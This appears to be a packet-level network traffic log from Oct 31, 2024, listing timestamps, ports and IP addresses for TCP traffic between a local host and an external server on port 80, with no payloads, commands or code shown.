Oct 31, 2024 04:15:12.769294977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769330978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769357920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769359112 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769368887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769377947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769387960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769397974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769402027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769412994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769417048 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769424915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769434929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769445896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769445896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769455910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769467115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769476891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769476891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769534111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769534111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769669056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769685984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769702911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769716978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769727945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769731998 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769772053 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769810915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769823074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769833088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769845963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769855022 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769859076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769874096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769884109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769895077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769906998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769917965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769926071 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769927025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769927025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769927979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769939899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769948959 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769948959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769958973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769969940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769979000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769998074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.770015955 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.770523071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.770534992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.770545006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.770555973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.770565033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.770570993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.770595074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.770631075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.770940065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.770958900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.770968914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.771004915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.817883968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.817902088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.817913055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.817924976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.817972898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.817972898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.818998098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.819025040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.819036007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.819075108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.819324017 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.819324017 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.868808031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.868841887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.868859053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.868906975 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.958584070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.958659887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.958674908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.958686113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.958692074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.958703995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.958718061 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.958745956 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.958781958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.958794117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.958833933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.958851099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.958862066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.958873034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.958884001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.958901882 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.958925009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.959101915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959112883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959122896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959129095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959135056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959142923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959155083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959163904 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.959173918 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.959414005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959425926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959465027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.959532022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959542990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959553003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959567070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959577084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959589005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959599972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959602118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.959609032 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.959609032 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.959613085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959625959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959635973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959649086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.959666967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.959970951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959983110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.959992886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.960012913 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.960027933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.960057974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.960088015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.960103035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.960144997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.175399065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.175477982 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.341427088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.346802950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.346838951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.346853018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.346930027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.346961975 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.347687006 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.383049011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.388031006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388045073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388056040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388098001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388113022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388122082 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.388124943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388138056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388149023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.388158083 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.388341904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388353109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388364077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388396025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.388492107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388503075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388508081 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.388514042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388525009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388535976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388539076 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.388555050 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.388566971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388578892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388587952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388600111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388609886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388619900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.388627052 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.388734102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.389280081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389291048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389301062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389311075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389322042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389333010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389338970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.389338970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.389348984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389359951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389362097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.389370918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389381886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389393091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389394999 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.389404058 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.389404058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389415026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389425039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389429092 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.389436007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389446974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.389465094 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.389497042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.390254021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390265942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390275955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390286922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390302896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390314102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390322924 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.390322924 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.390325069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390336037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390341997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.390347958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390357971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390367985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390373945 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.390379906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390393019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390394926 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.390404940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390415907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390419006 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.390427113 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.390427113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390439034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390451908 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.390451908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.390475988 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.391123056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391134024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391143084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391160011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391170979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391181946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391187906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.391187906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.391191959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391202927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391212940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391212940 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.391222000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.391223907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391233921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391246080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391263008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391268969 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.391274929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391285896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391285896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.391297102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.391335964 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.391761065 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.392092943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392103910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392112970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392122984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392133951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392143965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392154932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392154932 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.392164946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392177105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392178059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.392184973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.392189026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392199993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392210960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392220974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392224073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.392231941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392241955 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.392242908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392255068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392266989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.392268896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.392288923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.393063068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393074036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393083096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393090963 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.393095016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393106937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393107891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.393117905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393129110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393130064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.393140078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393151045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393161058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393167973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.393172979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393183947 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.393183947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393196106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393208027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.393208027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393218040 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.393218040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393229008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393240929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.393254042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.394016027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394027948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394037008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394046068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.394047976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394058943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394058943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.394069910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394081116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394090891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.394092083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394099951 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.394103050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394109964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394114971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394119978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394130945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394138098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.394140005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394150972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394154072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.394154072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.394161940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394701004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.394965887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394977093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394988060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.394999027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395009995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395021915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395024061 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395032883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395045042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395056963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395056963 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395066977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395077944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395088911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395092010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395100117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395112991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395114899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395114899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395123959 CET	80	49738	185.215.113.16	192.168.2.4
